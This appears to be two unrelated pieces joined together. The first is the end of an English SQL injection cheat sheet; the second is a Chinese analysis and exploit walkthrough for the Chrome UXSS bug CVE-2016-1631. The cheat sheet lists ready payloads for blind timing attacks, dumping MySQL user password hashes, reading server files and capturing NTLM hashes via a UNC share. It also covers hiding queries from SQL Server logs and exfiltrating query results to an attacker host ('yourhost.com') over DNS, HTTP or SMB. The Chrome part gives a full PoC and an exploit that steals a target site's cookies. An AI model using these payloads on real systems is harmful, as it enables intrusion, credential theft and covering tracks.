Basically, we are abusing this command to make MySQL wait a bit. Be careful you will consume web servers limit so fast!

BENCHMARK(howmanytimes, do this)

Real World Samples

  • Are we root ? woot! 
    IF EXISTS (SELECT * FROM users WHERE username = ‘root’) BENCHMARK(1000000000,MD5(1))
  • Check Table exist in MySQL 
    IF (SELECT * FROM login) BENCHMARK(1000000,MD5(1))

pg_sleep(seconds) (P)

Sleep for supplied seconds.

  • SELECT pg_sleep(10); 
    Sleep 10 seconds.

sleep(seconds) (M)

Sleep for supplied seconds.

  • SELECT sleep(10); 
    Sleep 10 seconds.

dbms_pipe.receive_message (O)

Sleep for supplied seconds.

  • (SELECT CASE WHEN (NVL(ASCII(SUBSTR(({INJECTION}),1,1)),0) = 100) THEN dbms_pipe.receive_message((‘xyz’),10) ELSE dbms_pipe.receive_message((‘xyz’),1) END FROM dual)

    {INJECTION} = You want to run the query.

    If the condition is true, will response after 10 seconds. If is false, will be delayed for one second.

Covering Your Tracks

SQL Server -sp_password log bypass (S)

SQL Server don’t log queries that includes sp_password for security
reasons(!). So if you add –sp_password to your queries it will not be
in SQL Server logs (of course still will be in web server logstry to use POST if it’s possible)

Clear SQL Injection Tests

These tests are simply good for blind sql injection and silent attacks.

  1. product.asp?id=4 (SMO)

    1. product.asp?id=5-1
    2. product.asp?id=4 OR 1=1 

  2. product.asp?name=Book

    1. product.asp?name=Bo’%2b’ok
    2. product.asp?name=Bo’ || ‘ok (OM)
    3. product.asp?name=Book’ OR ‘x’=’x

Extra MySQL Notes

  • Sub Queries are working only MySQL 4.1+
  • Users

    • SELECT User,Password FROM mysql.user;
  • SELECT 1,1 UNION SELECT
    IF(SUBSTRING(Password,1,1)=’2′,BENCHMARK(100000,SHA1(1)),0)
    User,Password FROM mysql.user WHERE User = ‘root’;
  • SELECT … INTO DUMPFILE

    • Write query into a new file (can not modify existing files)
  • UDF Function

    • create function LockWorkStation returns integer soname ‘user32’;
    • select LockWorkStation(); 
    • create function ExitProcess returns integer soname ‘kernel32’;
    • select exitprocess();
  • SELECT USER();
  • SELECT password,USER() FROM mysql.user;
  • First byte of admin hash

    • SELECT SUBSTRING(user_password,1,1) FROM mb_users WHERE user_group = 1;
  • Read File

    • query.php?user=1+union+select+load_file(0x63…),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
  • MySQL Load Data infile 

    • By default it’s not available !

      • create table foo( line blob ); 
        load data infile ‘c:/boot.ini’ into table foo; 
        select * from foo;
  • More Timing in MySQL
  • select benchmark( 500000, sha1( ‘test’ ) );
  • query.php?user=1+union+select+benchmark(500000,sha1 (0x414141)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
  • select if( user() like ‘root@%’, benchmark(100000,sha1(‘test’)), ‘false’ ); 
    Enumeration data, Guessed Brute Force

    • select if( (ascii(substring(user(),1,1)) >> 7) & 1, benchmark(100000,sha1(‘test’)), ‘false’ );

Potentially Useful MySQL Functions

  • MD5() 
    MD5 Hashing
  • SHA1() 
    SHA1 Hashing
  • PASSWORD()
  • ENCODE()
  • COMPRESS() 
    Compress data, can be great in large binary reading in Blind SQL Injections.
  • ROW_COUNT()
  • SCHEMA()
  • VERSION() 
    Same as @@version

Second Order SQL Injections

Basically, you put an SQL Injection to some place and expect it’s
unfiltered in another action. This is common hidden layer problem.

Name : ‘ + (SELECT TOP 1 password FROM users ) + ‘ 
Email : xx@xx.com

If application is using name field in an unsafe stored procedure or
function, process etc. then it will insert first users password as your
name etc.

Forcing SQL Server to get NTLM Hashes

This attack can help you to get SQL Server user’s Windows password of
target server, but possibly you inbound connection will be firewalled.
Can be very useful internal penetration tests. We force SQL Server to
connect our Windows UNC Share and capture data NTLM session with a tool
like Cain & Abel.

Bulk insert from a UNC Share (S) 
bulk insert foo from ‘\\YOURIPADDRESS\C$\x.txt’

Check out Bulk Insert Reference to understand how can you use bulk insert.

Out of Band Channel Attacks

SQL Server

  • ?vulnerableParam=1; SELECT * FROM OPENROWSET(‘SQLOLEDB’, ({INJECTION})+’.yourhost.com’;’sa’;’pwd’, ‘SELECT 1’)
    Makes DNS resolution request to {INJECT}.yourhost.com

  • ?vulnerableParam=1; DECLARE @q varchar(1024); SET @q = ‘\\’+({INJECTION})+’.yourhost.com\\test.txt’; EXEC master..xp_dirtree @q
    Makes DNS resolution request to {INJECTION}.yourhost.com

    {INJECTION} = You want to run the query.

MySQL

  • ?vulnerableParam=-99 OR (SELECT LOAD_FILE(concat(‘\\\\’,({INJECTION}), ‘yourhost.com\\’)))
    Makes a NBNS query request/DNS resolution request to yourhost.com

  • ?vulnerableParam=-99 OR (SELECT ({INJECTION}) INTO OUTFILE ‘\\\\yourhost.com\\share\\output.txt’)
    Writes data to your shared folder/file

    {INJECTION} = You want to run the query.

Oracle

  • ?vulnerableParam=(SELECT UTL_HTTP.REQUEST(‘http://host/ sniff.php?sniff=’||({INJECTION})||”) FROM DUAL)
    Sniffer application will save results

  • ?vulnerableParam=(SELECT UTL_HTTP.REQUEST(‘http://host/ ‘||({INJECTION})||’.html’) FROM DUAL)
    Results will be saved in HTTP access logs

  • ?vulnerableParam=(SELECT UTL_INADDR.get_host_addr(({INJECTION})||’.yourhost.com’) FROM DUAL)
    You need to sniff dns resolution requests to yourhost.com

  • ?vulnerableParam=(SELECT SYS.DBMS_LDAP.INIT(({INJECTION})||’.yourhost.com’,80) FROM DUAL)
    You need to sniff dns resolution requests to yourhost.com

    {INJECTION} = You want to run the query.

References

Since these notes have been collected from several different
sources over a number of years, and through personal experiences, I may
have missed some references. If so please reach out to us so we can add you in this list.

一个价值7500刀的Chrome UXSS(CVE-2016-1631)分析与利用

0x00 前言

本文的写作来源于前几天一个小伙伴发过来一个漏洞链接让笔者帮忙解释一下漏洞原理,为了便于小伙伴的理解且留作笔记供日后查阅遂写此文。

本文讨论的漏洞已早已修复,但作为漏洞研究还是很有价值的。此漏洞由研究人员Marius Mlynski发现并于2015年12月14日报告的一个Chrome不当地使用Flash消息循环而产生的UXSS漏洞(CVE-2016-1631)。

0x01 分析

漏洞影响:

Chrome 47.0.2526.80 (Stable)
Chrome 48.0.2564.41 (Beta)
Chrome 49.0.2587.3 (Dev)
Chromium 49.0.2591.0 + Pepper Flash

原漏洞报告如下:

From /content/renderer/pepper/ppb_flash_message_loop_impl.cc:
----------------
int32_t PPB_Flash_MessageLoop_Impl::InternalRun(
    const RunFromHostProxyCallback& callback) {
(...)
  // It is possible that the PPB_Flash_MessageLoop_Impl object has been
  // destroyed when the nested message loop exits.
  scoped_refptr<State> state_protector(state_);
  {
    base::MessageLoop::ScopedNestableTaskAllower allow(
        base::MessageLoop::current());
    base::MessageLoop::current()->Run();
  }
(...)
}
----------------

报告者解释说:PPB_Flash_MessageLoop_Impl::InternalRun在运行一个嵌套消息循环之前没有初始化ScopedPageLoadDeferrer,从而导致能够在任意Javascrpit的执行点加载一个跨域文档造成了XSS。

接下来,我们来看看报告者提供的POC,主要有三个文件:

  • p.as: 一个ActionScript脚本文件
  • p.swf: 一个swf格式的Flash文件
  • poc.html: 具体的poc代码

p.as:

package {
  import flash.display.*;
  import flash.external.*;
  import flash.printing.*;
  public class p extends Sprite {
    public function f():void {
      new PrintJob().start();
    }
    public function p():void {
      ExternalInterface.addCallback('f', f);
      ExternalInterface.call('top.cp');
    }
  }
}
poc.html:

<script>
if (location.href.startsWith('file')) {
  throw alert('This does not work from file:, please put it on an HTTP server.')
}

var c0 = 0;
function cp() {
  ++c0;
}

var fs = [];
for (var a = 0; a < 10; a++) {
  var i = document.documentElement.appendChild(document.createElement('iframe'));
  i.src = 'p.swf';
  fs.push(i);
}

// This function will call into Flash, which will start a PrintJob,
// which will send a PPB_Flash_MessageLoop message to the renderer,
// which will spin a nested event loop on the main thread through
// PPB_Flash_MessageLoop_Impl::InternalRun, which doesn't set up a
// ScopedPageLoadDeferrer.
function message_loop() {
  var pw = fs.pop().contentWindow;
  pw.name = 'p' + fs.length;
  // The magic happens here:
  pw.document.querySelector('embed').f();
  // Clean-up phase -- now that the print operation has served its
  // purpose of spinning a nested event loop, kill the print dialog
  // in case it's necessary to spin the loop again.
  var a = document.createElement('a');
  a.href = 'about:blank';
  a.target = 'p' + fs.length;
  a.click();
  if (fs.length < 6) {
    var then = Date.now();
    while (Date.now() - then < 1000) {}
  }
}

function f() {
  if (c0 == 10) {
    clearInterval(t);
    // The initial location of this iframe is about:blank.
    // It shouldn't change before the end of this function
    // unless a nested event loop is spun without a
    // ScopedPageLoadDeferrer on the stack.
    // |alert|, |print|, etc. won't work, as they use a
    // ScopedPageLoadDeferrer to defer loads during the loop.
    var i = document.documentElement.appendChild(document.createElement('iframe'));
    // Let's schedule an asynchronous load of a cross-origin document.
    i.contentWindow.location.href = 'data:text/html,';
    // Now let's try spinning the Flash message loop.
    // If the load succeeds, |i.contentDocument| will throw.
    try {
      while (i.contentDocument) { message_loop(); }
    } catch(e) {}

    // Check the final outcome of the shenanigans.
    try {
      if (i.contentWindow.location.href === 'about:blank') {
        alert('Nothing unexpected happened, good.');
      }
    } catch(e) {
      alert('The frame is cross-origin already, this is bad.');
    }
  }
}

var t = setInterval(f, 100);
</script>

POC的原理就是在页面中创建多个源为Flash文件的iframe,然后调用as脚本开启打印工作任务,此时Chrome将通过PPB_Flash_MessageLoop_Impl::InternalRun方法在主线程中运行一个嵌套的MessageLoop消息循环来发送PPB_Flash_MessageLoop消息给渲染器,由于PPB_Flash_MessageLoop_Impl::InternalRun方法没有在栈上设置ScopedPageLoadDeferrer来推迟加载从而导致嵌套的MessageLoop在循环时能够回调脚本并加载任意资源造成了UXSS漏洞。

那么,如何来理解这个漏洞呢?

在Chrome中,我们知道,每个线程都有一个MessageLoop(消息循环)实例。报告中的PPB_Flash_MessageLoop_Impl实际上就是Chrome处理Flash事件的消息循环的实现。当浏览器接收到要打印Flash文件的消息时,会开启一个MessageLoop来处理打印事件,而此时如果在运行的嵌套的消息循环里没有终止脚本的回调以及资源加载的方法的话,就可以通过脚本回调代码绕过SOP加载任意资源,也就造成了XSS漏洞。

从下面是源代码作者做的修复可以更好的了解漏洞的产生原因。

不难发现,源码作者实际上仅做了以下更改:

1. 添加了#include “third_party/WebKit/public/web/WebView.h”;

2. 在执行base::MessageLoop::current()->Run();之前添加了blink::WebView::willEnterModalLoop();

3. 在执行base::MessageLoop::current()->Run();之后添加了blink::WebView::didExitModalLoop();

找到third_party/WebKit/public/web/WebView.h文件,我们在当中找到了步骤2和3的方法如下:

third_party/WebKit/public/web/WebView.h:
-----------------------
    // Modal dialog support ------------------------------------------------
    // Call these methods before and after running a nested, modal event loop
    // to suspend script callbacks and resource loads.
    BLINK_EXPORT static void willEnterModalLoop();
    BLINK_EXPORT static void didExitModalLoop();
(...)
-----------------------

显然, 修复漏洞的方法就是在执行一个嵌套的模态事件循坏前后调用这2个方法来防止脚本的回调以及资源的加载,从而阻止了因为脚本回调而绕过SOP的XSS漏洞的产生。

0x02 利用

首先,下载exploit并部署到你的web服务器上。

解压后,文档目录如下:

├── exploit
│   ├── exploit.html
│   ├── f.html
│   ├── p.as
│   └── p.swf

打开exploit.html修改如下:

<script>
var c0 = 0;
var c1 = 0;
var fs = [];

function cp() {
  ++c0;
}

for (var a = 0; a < 10; a++) {
  var i = document.documentElement.appendChild(document.createElement('iframe'));
  i.src = 'p.swf';
  fs.push(i);
}

function ml() {
  var pw = fs.pop().contentWindow;
  pw.name = 'p' + fs.length;
  pw.document.querySelector('embed').f();
  var a = document.createElement('a');
  a.href = 'about:blank';
  a.target = 'p' + fs.length;
  a.click();
  if (fs.length < 6) {
    var then = Date.now();
    while (Date.now() - then < 1000) {}
  }
}

function f() {
  if (++c1 == 2) {
    var x1 = x.contentWindow[0].frameElement.nextSibling;
    x1.src = 'http://avfisher.win/'; //此处可修改成目标浏览器上打开的任意的站点
    try {
      while (x1.contentDocument) { ml(); }
    } catch(e) {
      x1.src = 'javascript:if(location!="about:blank")alert(document.cookie)'; //此处为在目标站点上想要执行的js代码
    }
  }
}

function c() {
  if (c0 == 10) {
    clearInterval(t);
    x = document.documentElement.appendChild(document.createElement('iframe'));
    x.src = 'f.html';
  }
}

var t = setInterval(c, 100);
</script>

利用效果如下:

0x03 参考

https://bugs.chromium.org/p/chromium/issues/detail?id=569496

https://codereview.chromium.org/1559113002/diff/40001/content/renderer/pepper/ppb_flash_message_loop_impl.cc?context=10&column_width=80&tab_spaces=8

https://chromium.googlesource.com/chromium/src/+/dd77c2a41c72589d929db0592565125ca629fb2c/third_party/WebKit/public/web/WebView.h

https://chromium.googlesource.com/chromium/src/+/dd77c2a41c72589d929db0592565125ca629fb2c/base/message_loop/message_loop.h#581

http://blog.csdn.net/zero_lee/article/details/7905121

http://www.360doc.com/content/13/0422/16/168576_280145531.shtml